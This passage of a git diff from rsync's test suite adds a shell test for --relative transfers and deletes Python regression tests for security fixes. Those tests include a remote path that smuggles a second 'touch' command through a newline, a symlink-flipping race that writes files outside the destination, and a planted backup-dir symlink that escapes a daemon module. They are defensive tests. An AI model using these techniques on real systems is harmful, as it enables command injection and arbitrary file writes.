check=True: resolver follows the in-tree symlink\n-\n-landed = base / 'dest' / 'src' / 'link' / 'sub' / 'file'\n-if not landed.is_file():\n-    test_fail(f\"-aR through an in-tree symlinked parent dropped the file: {landed} missing\")\n-assert_same(base / 'src' / 'real' / 'sub' / 'file', landed, label='content')\n-\n-print(\"relative-symlinked-parent: -aR transfers a file under an in-tree symlinked parent dir\")\ndiff --git a/testsuite/relative.test b/testsuite/relative.test\nnew file mode 100644\nindex 0000000..5546291\n--- /dev/null\n+++ b/testsuite/relative.test\n@@ -0,0 +1,60 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2005-2020 Wayne Davison\n+#\n+# This program is distributable under the terms of the GNU GPL (see COPYING)\n+\n+. \"$suitedir/rsync.fns\"\n+\n+deepstr='down/3/deep'\n+deepdir=\"$fromdir/$deepstr\"\n+extradir=\"$fromdir/extra\"\n+makepath \"$deepdir\" \"$extradir/$deepstr\" \"$chkdir\"\n+\n+fromdir=\"$deepdir\"\n+hands_setup\n+fromdir=\"$tmpdir/from\"\n+\n+extrafile=\"$extradir/./$deepstr/extra.added.value\"\n+echo wowza >\"$extrafile\"\n+\n+$RSYNC -av --existing --include='*/' --exclude='*' \"$fromdir/\" \"$extradir/\"\n+\n+cd \"$fromdir\"\n+\n+# Main script starts here\n+\n+$RSYNC -ai --include=/down/ --exclude='/*' \"$fromdir/\" \"$chkdir/\"\n+\n+sleep 1\n+runtest \"basic relative\" 'checkit \"$RSYNC -avR ./$deepstr \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+ln $deepstr/filelist $deepstr/dir\n+ln ../chk/$deepstr/filelist ../chk/$deepstr/dir\n+# Work around time rounding/truncating issue by touching both dirs.\n+touch -r $deepstr/dir $deepstr/dir ../chk/$deepstr/dir\n+runtest \"hard links\" 'checkit \"$RSYNC -avHR ./$deepstr/ \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+cp \"$deepdir/text\" \"$todir/$deepstr/ThisShouldGo\"\n+cp \"$deepdir/text\" \"$todir/$deepstr/dir/ThisShouldGoToo\"\n+runtest \"deletion\" 'checkit \"$RSYNC -avHR --del ./$deepstr/ \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+runtest \"non-deletion\" 'checkit \"$RSYNC -aiHR --del ./$deepstr/ \\\"$todir\\\"\" \"$chkdir\" \"$todir\"' \\\n+    | tee \"$outfile\"\n+\n+# Make sure no files were deleted\n+grep 'deleting ' \"$outfile\" && test_fail \"Erroneous deletions occurred!\"\n+\n+# Relative with merging.\n+$RSYNC -ai \"$extradir/down\" \"$chkdir/\"\n+\n+checkit \"$RSYNC -aiR $deepstr '$extrafile' '$todir'\" \"$chkdir\" \"$todir\"\n+\n+checkit \"$RSYNC -aiR --del $deepstr '$extrafile' '$todir'\" \"$chkdir\" \"$todir\" \\\n+    | tee \"$outfile\"\n+\n+# Make sure no files were deleted\n+grep 'deleting ' \"$outfile\" && test_fail \"Erroneous deletions occurred! (2)\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/relative_test.py b/testsuite/relative_test.py\ndeleted file mode 100644\nindex 123189c..0000000\n--- a/testsuite/relative_test.py\n+++ /dev/null\n@@ -1,111 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/relative.test.\n-#\n-# Exercise rsync --relative (-R) behaviour: paths anchored at a \"./\" cut\n-# point should reproduce that subtree at the destination. We pile on\n-# hard-link preservation, --del / --del-on-extras and the side-by-side\n-# combination of an -R-anchored arg with an absolute \"extra\" path.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, OUTFILE, TMPDIR, TODIR,\n-    checkit, hands_setup, makepath, rsync_argv,\n-    run_rsync, test_fail,\n-)\n-\n-\n-deepstr = 'down/3/deep'\n-deepdir = FROMDIR / deepstr\n-extradir = TMPDIR / 'extra'\n-\n-makepath(deepdir, extradir / deepstr, CHKDIR)\n-\n-# Generate the rich source tree underneath the deep nested dir, not under\n-# fromdir directly. hands_setup reads FROMDIR from the module, so override\n-# briefly via the rsyncfns module attribute.\n-import rsyncfns\n-real_fromdir = rsyncfns.FROMDIR\n-try:\n-    rsyncfns.FROMDIR = deepdir\n-    hands_setup()\n-finally:\n-    rsyncfns.FROMDIR = real_fromdir\n-\n-extrafile = extradir / deepstr / 'extra.added.value'\n-extrafile.write_text(\"wowza\\n\")\n-# rsync's -R uses \"./\" as the anchor cut point: anything after it is the\n-# subtree path to recreate at the destination. Preserve the literal \"./\"\n-# in the string we pass to rsync, separately from the Path we use for\n-# filesystem operations.\n-extrafile_for_rsync = f\"{extradir}/./{deepstr}/extra.added.value\"\n-\n-# Seed extradir with just the directory skeleton of fromdir.\n-run_rsync('-av', '--existing', '--include=*/', '--exclude=*',\n-          f'{FROMDIR}/', f'{extradir}/')\n-\n-os.chdir(FROMDIR)\n-\n-# chkdir: same shape as a --include=/down/ --exclude=/* sync of fromdir.\n-run_rsync('-ai', '--include=/down/', '--exclude=/*',\n-          f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-time.sleep(1)\n-\n-print(\"Test basic relative:\")\n-checkit(['-avR', f'./{deepstr}', str(TODIR)], CHKDIR, TODIR)\n-\n-# Add a hard link inside the source and the chk dir; mirror it on both\n-# sides so the --delete pass below doesn't see it as new on either tree.\n-os.link(deepdir / 'filelist', deepdir / 'dir' / 'filelist')\n-os.link(CHKDIR / deepstr / 'filelist', CHKDIR / deepstr / 'dir' / 'filelist')\n-# Re-touch both dirs so the inner-dir time matches.\n-src_t = (deepdir / 'dir').stat().st_mtime\n-os.utime(deepdir / 'dir', (src_t, src_t))\n-os.utime(CHKDIR / deepstr / 'dir', (src_t, src_t))\n-\n-print(\"Test hard links:\")\n-checkit(['-avHR', f'./{deepstr}/', str(TODIR)], CHKDIR, TODIR)\n-\n-# Drop some stray files at the dest then re-sync with --del to confirm\n-# they're removed.\n-import shutil\n-shutil.copy(deepdir / 'text', TODIR / deepstr / 'ThisShouldGo')\n-shutil.copy(deepdir / 'text', TODIR / deepstr / 'dir' / 'ThisShouldGoToo')\n-\n-print(\"Test deletion:\")\n-checkit(['-avHR', '--del', f'./{deepstr}/', str(TODIR)], CHKDIR, TODIR)\n-\n-print(\"Test non-deletion:\")\n-# Same as the previous pass but capture output to grep for spurious\n-# 'deleting ' lines.\n-proc = subprocess.run(\n-    rsync_argv('-aiHR', '--del', f'./{deepstr}/', str(TODIR)),\n-    capture_output=True, text=True,\n-)\n-OUTFILE.write_text(proc.stdout)\n-print(proc.stdout, end='')\n-if proc.returncode != 0:\n-    test_fail(f\"non-deletion run exited {proc.returncode}\")\n-if 'deleting ' in proc.stdout:\n-    test_fail(\"Erroneous deletions occurred!\")\n-\n-# Relative with merging.\n-run_rsync('-ai', str(extradir / 'down'), f'{CHKDIR}/')\n-\n-print(\"Test merge:\")\n-checkit(['-aiR', deepstr, extrafile_for_rsync, str(TODIR)], CHKDIR, TODIR)\n-\n-print(\"Test merge with --del:\")\n-proc = subprocess.run(\n-    rsync_argv('-aiR', '--del', deepstr, extrafile_for_rsync, str(TODIR)),\n-    capture_output=True, text=True,\n-)\n-OUTFILE.write_text(proc.stdout)\n-print(proc.stdout, end='')\n-if proc.returncode != 0:\n-    test_fail(f\"merge --del run exited {proc.returncode}\")\n-if 'deleting ' in proc.stdout:\n-    test_fail(\"Erroneous deletions occurred! (2)\")\ndiff --git a/testsuite/remote-shell-newline-escaping_test.py b/testsuite/remote-shell-newline-escaping_test.py\ndeleted file mode 100644\nindex 89b2814..0000000\n--- a/testsuite/remote-shell-newline-escaping_test.py\n+++ /dev/null\n@@ -1,38 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding [27]: rsync's remote-shell argument quoting (SHELL_CHARS in options.c)\n-# omitted the newline/CR command separators, so a newline in a remote path could\n-# inject a separate command into the remote shell.  The test rsh support/lsh.sh\n-# runs the remote command via `eval \"${@}\"`, so an UNescaped newline in the\n-# destination splits off a second line that runs `touch <sentinel>`.  The fix\n-# adds \\n\\r to SHELL_CHARS so such args are quoted and the newline stays literal.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, rsync_argv, test_fail, rsh_cmd\n-\n-base = SCRATCHDIR / 'remote-shell-newline'\n-rmtree(base)\n-src = base / 'src'\n-src.mkdir(parents=True)\n-(src / 'f').write_text('payload\\n')\n-sentinel = base / 'pwned'\n-\n-env = os.environ.copy()\n-env['RSYNC_RSH'] = rsh_cmd(None, '--no-cd')\n-dest = f\"lh:{base}/dest\\ntouch {sentinel}\\n#\"\n-subprocess.run(rsync_argv('-a', f'{src}/', dest),\n-               stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, env=env)\n-\n-# Without the fix, lsh.sh's eval splits on the newline: the first line runs the\n-# server into base/dest and the second runs `touch <sentinel>`.  With the newline\n-# quoted the whole string is one literal (invalid) destination, so neither effect\n-# happens.  Both checks are filesystem-independent -- they don't depend on whether\n-# a newline-bearing path is creatable, which differs across Linux/macOS/BSD.\n-if sentinel.exists():\n-    test_fail(\"remote-shell newline injection executed the sentinel command\")\n-if (base / 'dest').exists():\n-    test_fail(\"remote-shell newline split the destination \"\n-              \"(eval ran the server into base/dest as a separate command)\")\n-\n-print(\"remote-shell-newline-escaping: newline in a remote arg is quoted, not executed\")\ndiff --git a/testsuite/rename-fullpath-symlink-race_test.py b/testsuite/rename-fullpath-symlink-race_test.py\ndeleted file mode 100644\nindex f835c22..0000000\n--- a/testsuite/rename-fullpath-symlink-race_test.py\n+++ /dev/null\n@@ -1,116 +0,0 @@\n-#!/usr/bin/env python3\n-# Receiver write-escape via a symlink race on finish_transfer()'s tmp->final\n-# rename when an absolute --temp-dir (or --partial-dir) is in use.\n-#\n-# do_rename_at() (syscall.c) confines a rename relative to held dirfds, but it\n-# bailed out to the unconfined path-based do_rename() whenever EITHER path was\n-# absolute.  With an absolute --temp-dir the receiver's temp file is an absolute\n-# path, so the tmp->final rename took that bail and re-resolved the destination\n-# from the path -- following a `dest/sub` component flipped from a directory to a\n-# symlink mid-transfer, landing the transferred file OUTSIDE the destination\n-# tree (an arbitrary write / LPE for a local attacker who can flip a dest parent).\n-#\n-# RED before the fix (files escape to outside/); GREEN once do_rename_at confines\n-# the relative destination even when the source temp path is absolute.\n-#\n-# Found by Omar Elsayed; this is the framework version of that demonstration,\n-# with no rsync.c instrumentation -- a separate-process flipper wins the race.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import race_budget, SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-# Unique per-invocation base: this test's rename storm can corrupt the `dest`\n-# directory on some filesystems (OpenBSD FFS leaves an un-removable dir), and a\n-# fixed name would let that wreck block a later pass's setup.  See _move_aside().\n-base = SCRATCHDIR / f'rename-fullpath-{os.getpid()}'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-tmpd = base / 'tmpd'            # absolute --temp-dir, OUTSIDE the destination\n-rmtree(base)\n-(src / 'sub').mkdir(parents=True)\n-for i in range(40):\n-    (src / 'sub' / f'f{i}').write_text('payload\\n')\n-dest.mkdir()\n-outside.mkdir()\n-tmpd.mkdir()\n-\n-sub = dest / 'sub'            # the parent the attacker flips\n-link = dest / '.sublink'     # a symlink -> outside, swapped in for `sub`\n-link.symlink_to(outside)\n-\n-\n-def push():\n-    # --temp-dir must precede the paths: runtests runs with POSIXLY_CORRECT, which\n-    # disables getopt permutation, so an option after the paths is treated as a path.\n-    subprocess.run(\n-        rsync_argv('-a', f'--temp-dir={tmpd}', f'{src}/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-# Positive control: a normal push lands the files in dest/sub, so the temp+rename\n-# write path is genuinely exercised and the race below isn't vacuous.\n-rmtree(sub)\n-sub.mkdir()\n-push()\n-if not (sub / 'f0').is_file():\n-    test_fail(\"positive control: a normal --temp-dir push did not write files \"\n-              \"into dest/sub, so the rename race window would be vacuous\")\n-for f in outside.iterdir():\n-    f.unlink()\n-\n-# Separate-process flipper: keep `sub` flipping between a real directory and the\n-# symlink->outside (an atomic 3-rename swap with `link`).  A separate process is\n-# needed to flip fast enough to win the rename window.  It self-terminates when\n-# the test process goes away (getppid changes) and after a hard deadline, so a\n-# killed test can't leak an orphan that poisons later tests (see start_path_flipper).\n-flip_code = (\n-    \"import os, sys, time\\n\"\n-    \"sub, link = sys.argv[1], sys.argv[2]\\n\"\n-    \"scratch = sub + '.flip'\\n\"\n-    \"parent = os.getppid()\\n\"\n-    \"deadline = time.time() + 120\\n\"\n-    \"while time.time() < deadline and os.getppid() == parent:\\n\"\n-    \"    try:\\n\"\n-    \"        os.makedirs(sub, exist_ok=True)\\n\"\n-    \"        os.rename(sub, scratch); os.rename(link, sub); os.rename(scratch, link)\\n\"\n-    \"        os.rename(sub, scratch); os.rename(link, sub); os.rename(scratch, link)\\n\"\n-    \"    except OSError:\\n\"\n-    \"        pass\\n\"\n-)\n-flip = subprocess.Popen(['python3', '-c', flip_code, str(sub), str(link)])\n-try:\n-    deadline = time.monotonic() + race_budget(10.0)\n-    while time.monotonic() < deadline:\n-        # Start each round from a real (absent->mkdir'd) dest/sub so rsync sees a\n-        # directory at flist time; the flip then happens during the file writes.\n-        rmtree(sub)\n-        try:\n-            sub.unlink()\n-        except OSError:\n-            pass\n-        push()\n-        # Count only escaped regular files (the transferred payload); the\n-        # flipper/reset churn can momentarily leave a dir or symlink in outside,\n-        # which is harness noise, not a write escape.\n-        escaped = sorted(p.name for p in outside.iterdir()\n-                         if p.is_file() and not p.is_symlink())\n-        if escaped:\n-            test_fail(\n-                \"rename-fullpath symlink race: files were written OUTSIDE the \"\n-                f\"destination tree ({escaped}) -- finish_transfer's tmp->final \"\n-                \"rename followed a flipped dest/sub symlink because an absolute \"\n-                \"--temp-dir made do_rename_at fall back to the unconfined \"\n-                \"do_rename().\")\n-finally:\n-    flip.terminate()\n-    try:\n-        flip.wait(timeout=5)\n-    except subprocess.TimeoutExpired:\n-        flip.kill()\n-\n-# No escape within the race budget.\ndiff --git a/testsuite/rename-mixed-parent-escape-poc_test.py b/testsuite/rename-mixed-parent-escape-poc_test.py\ndeleted file mode 100644\nindex 3475a85..0000000\n--- a/testsuite/rename-mixed-parent-escape-poc_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/rename-mixed-parent-escape-poc.test.\n-#\n-# PoC for the 3.4.3 do_rename_at() mixed-parent fallback. The helper\n-# first runs an emulation of the vulnerable fallback to show the actual\n-# module escape, then runs the live do_rename_at() against the same\n-# shape to prove the fixed wrapper rejects it.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, TOOLDIR,\n-    assert_exists, assert_not_exists, rmtree, test_fail, test_skipped,\n-)\n-\n-\n-mod = SCRATCHDIR / 'module'\n-trap_outside = SCRATCHDIR / 'trap'\n-rmtree(mod)\n-rmtree(trap_outside)\n-mod.mkdir(parents=True)\n-trap_outside.mkdir(parents=True)\n-\n-os.symlink('../trap', mod / 'escape_link')\n-\n-(mod / 'poc-top-to-escape').write_text(\"poc-top-to-escape\\n\")\n-(trap_outside / 'poc-outside-source').write_text(\"poc-outside-source\\n\")\n-(mod / 'fixed-top-to-escape').write_text(\"fixed-top-to-escape\\n\")\n-(trap_outside / 'fixed-outside-source').write_text(\"fixed-outside-source\\n\")\n-\n-proc = subprocess.run([str(TOOLDIR / 't_rename_secure'), '--poc', str(mod)])\n-if proc.returncode == 77:\n-    test_skipped(\"t_rename_secure --poc skipped\")\n-if proc.returncode != 0:\n-    test_fail(\"t_rename_secure --poc reported failures (see stderr above)\")\n-\n-# The PoC's emulation of the vulnerable fallback must have escaped the module.\n-assert_exists(trap_outside / 'vuln-created',\n-              \"PoC did not create outside file via vulnerable destination-parent rename\")\n-assert_exists(mod / 'vuln-stolen',\n-              \"PoC did not move outside file into module via vulnerable source-parent rename\")\n-\n-# The live (fixed) do_rename_at() must have refused every escape.\n-assert_not_exists(trap_outside / 'fixed-created',\n-                  \"fixed do_rename_at created outside file\")\n-assert_exists(mod / 'fixed-top-to-escape',\n-              \"fixed do_rename_at consumed protected module source\")\n-assert_exists(trap_outside / 'fixed-outside-source',\n-              \"fixed do_rename_at consumed protected outside source\")\n-assert_not_exists(mod / 'fixed-stolen',\n-                  \"fixed do_rename_at moved outside file into module\")\ndiff --git a/testsuite/rename-mixed-parent-symlink-race_test.py b/testsuite/rename-mixed-parent-symlink-race_test.py\ndeleted file mode 100644\nindex f5c25dd..0000000\n--- a/testsuite/rename-mixed-parent-symlink-race_test.py\n+++ /dev/null\n@@ -1,43 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/rename-mixed-parent-symlink-race.test.\n-#\n-# Regression test for do_rename_at() mixed top-level/slashed paths.\n-# The 3.4.3 symlink-race hardening opened both rename parents under\n-# secure_relative_open() only when both paths contained a slash. If one\n-# side was top-level, the whole operation fell back to plain rename(),\n-# allowing the slashed side's parent symlink to escape the module.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, TOOLDIR,\n-    assert_exists, assert_not_exists, rmtree, test_fail, test_skipped,\n-)\n-\n-\n-mod = SCRATCHDIR / 'module'\n-trap_outside = SCRATCHDIR / 'trap'\n-rmtree(mod)\n-rmtree(trap_outside)\n-(mod / 'realdir').mkdir(parents=True)\n-trap_outside.mkdir(parents=True)\n-\n-(mod / 'top-to-dir').write_text(\"top-to-dir\\n\")\n-(mod / 'realdir' / 'dir-to-top').write_text(\"dir-to-top\\n\")\n-(mod / 'top-to-escape').write_text(\"top-to-escape\\n\")\n-(trap_outside / 'outside-source').write_text(\"outside-source\\n\")\n-(mod / 'realdir' / 'same-old').write_text(\"same-old\\n\")\n-(mod / 'top-old').write_text(\"top-old\\n\")\n-os.symlink('../trap', mod / 'escape_link')\n-\n-proc = subprocess.run([str(TOOLDIR / 't_rename_secure'), str(mod)])\n-if proc.returncode == 77:\n-    test_skipped(\"t_rename_secure skipped\")\n-if proc.returncode != 0:\n-    test_fail(\"t_rename_secure reported failures (see stderr above)\")\n-\n-assert_not_exists(trap_outside / 'new-outside',\n-                  f\"rename escaped the module and created {trap_outside}/new-outside\")\n-assert_exists(trap_outside / 'outside-source',\n-              f\"rename escaped the module and moved {trap_outside}/outside-source\")\ndiff --git a/testsuite/rename-mixed-parent-transfer_test.py b/testsuite/rename-mixed-parent-transfer_test.py\ndeleted file mode 100644\nindex a766ab1..0000000\n--- a/testsuite/rename-mixed-parent-transfer_test.py\n+++ /dev/null\n@@ -1,151 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/rename-mixed-parent-transfer.test.\n-#\n-# End-to-end (real daemon transfer) companion to the unit-level\n-# rename-mixed-parent-symlink-race / rename-mixed-parent-escape-poc tests.\n-#\n-# Those tests exercise do_rename_at() directly. This one drives the escape\n-# through an actual rsync transfer against a no-chroot daemon, to prove the\n-# 3.4.3 do_rename_at() mixed-parent fallback is reachable and exploitable\n-# from the wire, not just at the function boundary.\n-#\n-# Background: do_rename_at() in 3.4.3 only confined parent resolution under\n-# secure_relative_open() when *both* the source and destination contained a\n-# slash:\n-#\n-#     if (!old_slash || !new_slash)\n-#             return do_rename(old_path, new_path);  /* plain rename() */\n-#\n-# So a rename where one side is a bare top-of-module name (resolved in the\n-# module-root CWD, which is safe) and the other side is slashed (whose parent\n-# the kernel resolves freely) fell back to plain rename() -- letting an\n-# attacker-planted parent symlink on the slashed side escape the module.\n-#\n-# Trigger: --backup --backup-dir=bdir. When the daemon overwrites an existing\n-# top-of-module file \"foo\", it backs it up via make_backup() -> link_or_rename(),\n-# ending in do_rename_at(\"foo\", \"bdir/foo\"): source bare, destination slashed.\n-# With \"bdir\" planted as a symlink pointing outside the module, the 3.4.3\n-# fallback renames the in-module file out through the symlink. With the\n-# per-side fix, the slashed destination parent is opened under\n-# secure_relative_open(), the symlink is refused, and the file stays inside.\n-# (do_link_at() is tried first but already has the per-side hardening, so it\n-# refuses the symlinked backup dir and falls through to do_rename_at().)\n-#\n-# The vulnerable code path is the same on every platform (including the\n-# per-component fallback on systems without RESOLVE_BENEATH), so this test is\n-# not platform-gated.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, find_attacker_uid,\n-    rmtree, rsync_argv, start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-# Operator paths follow a uid0/euid-owned symlink and refuse a foreign-owned one,\n-# so the escape vector is an ATTACKER-owned backup-dir symlink and a root daemon.\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-DAEMON_PORT = 12903\n-OLD = \"INSIDE_MODULE_DATA\\n\"\n-NEW = \"NEW_PUSHED_DATA\\n\"\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-# NB: 'src' is reserved by runtests.py (a symlink to the source tree), so use\n-# a distinct name for our push source.\n-src = SCRATCHDIR / 'src_files'\n-for d in (mod, outside, src):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# The existing in-module file the daemon will overwrite (and thus back up).\n-# Its content is what an attacker would relocate outside the module.\n-(mod / 'foo').write_text(OLD)\n-\n-# A different source so the push genuinely overwrites foo and triggers backup.\n-(src / 'foo').write_text(NEW)\n-\n-# Serve the module as root so the daemon euid differs from the attacker uid; the\n-# ownership walk must then refuse the foreign-owned backup-dir symlink.  Use\n-# numeric uid/gid 0, not the name \"root\": the root *group* is \"wheel\" on the BSDs\n-# and macOS, so `gid = root` is rejected there.\n-conf = write_daemon_conf([\n-    ('upload', {'path': str(mod), 'use chroot': 'no', 'read only': 'no',\n-                'uid': '0', 'gid': '0'}),\n-])\n-daemon_url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-\n-\n-def push_with_backup():\n-    return subprocess.run(\n-        rsync_argv('-t', '--backup', '--backup-dir=bdir',\n-                   f'{src}/foo', f'{daemon_url}/upload/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-\n-# Positive control: a real backup-dir must receive the original file, proving\n-# this transfer shape exercises --backup-dir and the mixed-parent backup rename.\n-(mod / 'bdir').mkdir()\n-proc = push_with_backup()\n-if proc.returncode != 0:\n-    test_fail(\"positive control: daemon --backup-dir transfer failed \"\n-              f\"(rc={proc.returncode}):\\n{proc.stdout or ''}\")\n-backup = mod / 'bdir' / 'foo'\n-if not backup.is_file():\n-    test_fail(\"positive control: --backup-dir=bdir did not create \"\n-              f\"{backup}; the test would not exercise the backup rename path\")\n-if backup.read_text() != OLD:\n-    test_fail(\"positive control: backup content differs from the original \"\n-              f\"module/foo content: {backup.read_text()!r}\")\n-if (mod / 'foo').read_text() != NEW:\n-    test_fail(\"positive control: module/foo was not overwritten by the \"\n-              \"daemon transfer\")\n-\n-rmtree(mod / 'bdir')\n-(mod / 'foo').write_text(OLD)\n-\n-# The attacker-planted backup-dir symlink, pointing outside the module, owned by\n-# the attacker uid (not root, the uid the module is served as).\n-os.symlink(str(outside), mod / 'bdir')\n-os.lchown(mod / 'bdir', ATT_UID, ATT_UID)\n-\n-# Push the changed file straight into the module root with backups enabled and\n-# a backup-dir relative to the module root. The transfer may report an error on\n-# the fixed binary (the secure backup rename is refused), so the security oracle\n-# is where the files end up.\n-proc = push_with_backup()\n-attack_out = proc.stdout or ''\n-\n-# The escape: the original in-module file was renamed out through the bdir\n-# symlink into the outside-the-module directory.\n-if os.path.lexists(outside / 'foo'):\n-    try:\n-        got = (outside / 'foo').read_text().strip()\n-    except OSError:\n-        got = '<unreadable>'\n-    test_fail(\"mixed-parent rename escaped the module: backup of module/foo \"\n-              f\"landed in {outside}/foo (content: {got}); do_rename_at \"\n-              \"followed the planted backup-dir symlink\")\n-\n-# Sanity: nothing else should have leaked outside the module either.\n-leaked = os.listdir(outside)\n-if leaked:\n-    test_fail(f\"unexpected files escaped the module into {outside}: {leaked}\")\n-\n-try:\n-    final = (mod / 'foo').read_text()\n-except (OSError, UnicodeError) as exc:\n-    test_fail(\"foreign-owned --backup-dir symlink transfer left module/foo \"\n-              f\"unreadable ({exc!r}; rc={proc.returncode}):\\n{attack_out}\")\n-if final == NEW:\n-    test_fail(\"foreign-owned --backup-dir symlink transfer overwrote module/foo \"\n-              \"without taking or refusing the backup through bdir; the \"\n-              f\"--backup-dir path may not have been exercised \"\n-              f\"(rc={proc.returncode}):\\n{attack_out}\")\ndiff --git a/testsuite/reverse-daemon-delta_test.py b/testsuite/reverse-daemon-delta_test.py\ndeleted file mode 100644\nindex a2d57c7..0000000\n--- a/testsuite/reverse-daemon-delta_test.py\n+++ /dev/null\n@@ -1,127 +0,0 @@\n-#!/usr/bin/env python3\n-# Reverse-direction version-mixing smoke test: OLD client <-> CURRENT daemon.\n-#\n-# Every other two-sided test drives with the current binary and uses the old\n-# binary only as the server/daemon. That covers new-client -> old-server but\n-# NOT the more important backward-compat direction: a current daemon/server\n-# must keep working for the large installed base of OLD clients. This test\n-# fills that gap by starting the daemon with the CURRENT build (RSYNC) and\n-# running the OLD binary (RSYNC_PEER) as the client.\n-#\n-# It exercises, in BOTH transfer directions and with and without compression:\n-#   * push (old client = sender,   current daemon = receiver) -> old->new delta\n-#   * pull (current daemon = sender, old client  = receiver) -> new->old delta\n-# In each case the receiving side already holds an older version of the file,\n-# so the rsync delta algorithm actually runs (block matching + token stream)\n-# rather than a whole-file copy -- verified by asserting the bytes moved over\n-# the wire are far smaller than the file (a whole-file transfer of this random,\n-# incompressible data would be ~filesize even with -z).\n-#\n-# When no second binary was selected (RSYNC_PEER == RSYNC) this still runs as a\n-# current<->current smoke test of delta + compression over a daemon.\n-\n-import filecmp\n-import os\n-import re\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC, RSYNC_PEER, TMPDIR,\n-    build_rsyncd_conf, makepath, make_data_file, start_test_daemon, test_fail, split_rsync_cmd,\n-)\n-\n-DAEMON_PORT = 12894\n-FILESIZE = 512 * 1024          # big enough that delta savings are unambiguous\n-# Old rsync (2.6.x era) prints \"wrote N bytes  read M bytes\"; 3.0+ prints\n-# \"sent N bytes  received M bytes\". Accept both so old clients parse too.\n-_SUMMARY = re.compile(r'(?:sent|wrote) ([\\d,]+) bytes\\s+(?:received|read) ([\\d,]+) bytes')\n-\n-TODIR = TMPDIR / 'to'\n-\n-\n-def make_versions(path_old, path_new):\n-    \"\"\"Write an 'old' file and a 'new' file derived from it: same head, a\n-    changed middle block, and an appended tail. The shared blocks give the\n-    delta algorithm something to match; the changes give it real literal data\n-    to send.\"\"\"\n-    make_data_file(path_old, FILESIZE)\n-    data = bytearray(open(path_old, 'rb').read())\n-    data[100000:100050] = bytes(((b + 1) & 0xFF) for b in data[100000:100050])\n-    data += b'reverse-delta appended tail\\n' * 64\n-    with open(path_new, 'wb') as f:\n-        f.write(data)\n-\n-\n-def peer_client(args, label):\n-    \"\"\"Run the OLD client (RSYNC_PEER) and return (sent, received) wire bytes\n-    parsed from rsync's summary line. Fails the test on non-zero exit.\"\"\"\n-    argv = split_rsync_cmd(RSYNC_PEER) + args\n-    # Force C locale: rsync groups the \"sent/received N bytes\" numbers per the\n-    # locale (e.g. de_DE uses '.' for thousands), which would break parsing.\n-    proc = subprocess.run(argv, stdout=subprocess.PIPE,\n-                          stderr=subprocess.STDOUT, text=True,\n-                          env={**os.environ, 'LC_ALL': 'C'})\n-    print(proc.stdout, end='')\n-    if proc.returncode != 0:\n-        test_fail(f\"{label}: old client exited {proc.returncode}\")\n-    m = _SUMMARY.search(proc.stdout)\n-    if not m:\n-        test_fail(f\"{label}: could not parse sent/received from client output\")\n-    return int(m.group(1).replace(',', '')), int(m.group(2).replace(',', ''))\n-\n-\n-def assert_delta(label, moved):\n-    \"\"\"A delta transfer of FILESIZE moves far less than the whole file; a\n-    whole-file copy (delta failed to engage) would move ~FILESIZE.\"\"\"\n-    if moved >= FILESIZE // 2:\n-        test_fail(f\"{label}: {moved} bytes crossed the wire -- delta did not \"\n-                  f\"engage (file is {FILESIZE} bytes)\")\n-\n-\n-def run_push(compress):\n-    \"\"\"old client (sender) -> current daemon (receiver), receiver holds the old\n-    version as the basis. Exercises old->new delta encoding.\"\"\"\n-    tag = \"push+z\" if compress else \"push\"\n-    basis = TODIR / f'{tag}.dat'    # daemon-side basis (old)\n-    source = src / f'{tag}.dat'     # client source (new)\n-    make_versions(basis, source)\n-    opts = ['-a', '-v'] + (['-z'] if compress else [])\n-    sent, _ = peer_client(opts + [str(source), f'{url}test-to/'], tag)\n-    if not filecmp.cmp(source, basis, shallow=False):\n-        test_fail(f\"{tag}: daemon-side file does not match source after push\")\n-    assert_delta(tag, sent)\n-    print(f\"{tag}: OK (sent {sent} bytes for a {FILESIZE}-byte file)\")\n-\n-\n-def run_pull(compress):\n-    \"\"\"current daemon (sender) -> old client (receiver), client holds the old\n-    version as the basis. Exercises new->old delta encoding.\"\"\"\n-    tag = \"pull+z\" if compress else \"pull\"\n-    served = FROMDIR / f'{tag}.dat'   # daemon module file (new)\n-    local = dst / f'{tag}.dat'        # client basis (old)\n-    make_versions(local, served)\n-    opts = ['-a', '-v'] + (['-z'] if compress else [])\n-    _, received = peer_client(\n-        opts + [f'{url}test-from/{tag}.dat', str(dst) + '/'], tag)\n-    if not filecmp.cmp(served, local, shallow=False):\n-        